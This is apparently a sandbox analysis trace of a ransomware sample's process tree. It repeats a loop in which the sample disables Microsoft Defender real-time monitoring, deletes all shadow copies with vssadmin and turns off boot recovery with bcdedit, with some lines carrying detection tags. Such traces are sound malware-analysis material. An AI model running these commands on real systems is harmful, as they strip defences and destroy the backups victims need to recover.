C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet30⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"29⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No30⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet29⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""30⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"31⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"30⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet31⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"30⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No31⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet30⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""31⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"32⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"31⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet32⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"31⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No32⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet31⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""32⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"33⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"32⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet33⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"32⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No33⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet32⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""33⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"34⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"33⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet34⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"33⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No34⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet33⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""34⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"35⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"34⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet35⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"34⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No35⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet34⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""35⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"36⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"35⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet36⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"35⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No36⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet35⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""36⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"37⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"36⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet37⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"36⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No37⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet36⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""37⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"38⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"37⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet38⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"37⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No38⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet37⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""38⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"39⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"38⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet39⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"38⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No39⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet38⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""39⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"40⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"39⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet40⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"39⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No40⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet39⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""40⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"41⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"40⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet41⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"40⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No41⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet40⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""41⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"42⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"41⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet42⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"41⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No42⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet41⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""42⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"43⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"42⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet43⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"42⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No43⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet42⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""43⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"44⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"43⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet44⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"43⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No44⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet43⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""44⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"45⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"44⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet45⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"44⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No45⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet44⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""45⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"46⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"45⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet46⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"45⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No46⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet45⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""46⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"47⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"46⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet47⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"46⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No47⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet46⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""47⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"48⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"47⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet48⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"47⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No48⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet47⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""48⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"49⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"48⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet49⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"48⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No49⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet48⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""49⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"50⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"49⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet50⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"49⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No50⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet49⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""50⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"51⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"50⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet51⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"50⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No51⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet50⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""51⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"52⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"51⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet52⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"51⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No52⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet51⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""52⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"53⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"52⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet53⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"52⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No53⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet52⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""53⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"54⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"53⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet54⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"53⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No54⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet53⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""54⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"55⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"54⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet55⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"54⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No55⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet54⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""55⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"56⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"55⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet56⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"55⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No56⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet55⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""56⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"57⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"56⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet57⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"56⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No57⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet56⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""57⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"58⤵
- Disables one or more Microsoft Defender components
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"57⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet58⤵
- Interacts with shadow copies
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"57⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No58⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet57⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""58⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"59⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"58⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet59⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"58⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No59⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet58⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""59⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"60⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"59⤵
- Executes a command shell one-liner
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet60⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"59⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No60⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet59⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""60⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"61⤵
- Disables one or more Microsoft Defender components
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"60⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet61⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"60⤵
- Executes a command shell one-liner
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No61⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet60⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""61⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"62⤵
- Disables one or more Microsoft Defender components
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"61⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet62⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"61⤵
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No62⤵
- Modifies boot configuration data using bcdedit
-
-
-
C:\Users\Admin\AppData\Local\Temp\ransomware.exeC:\Users\Admin\AppData\Local\Temp\ransomware.exe -m pip install cryptography --quiet61⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true""62⤵
-
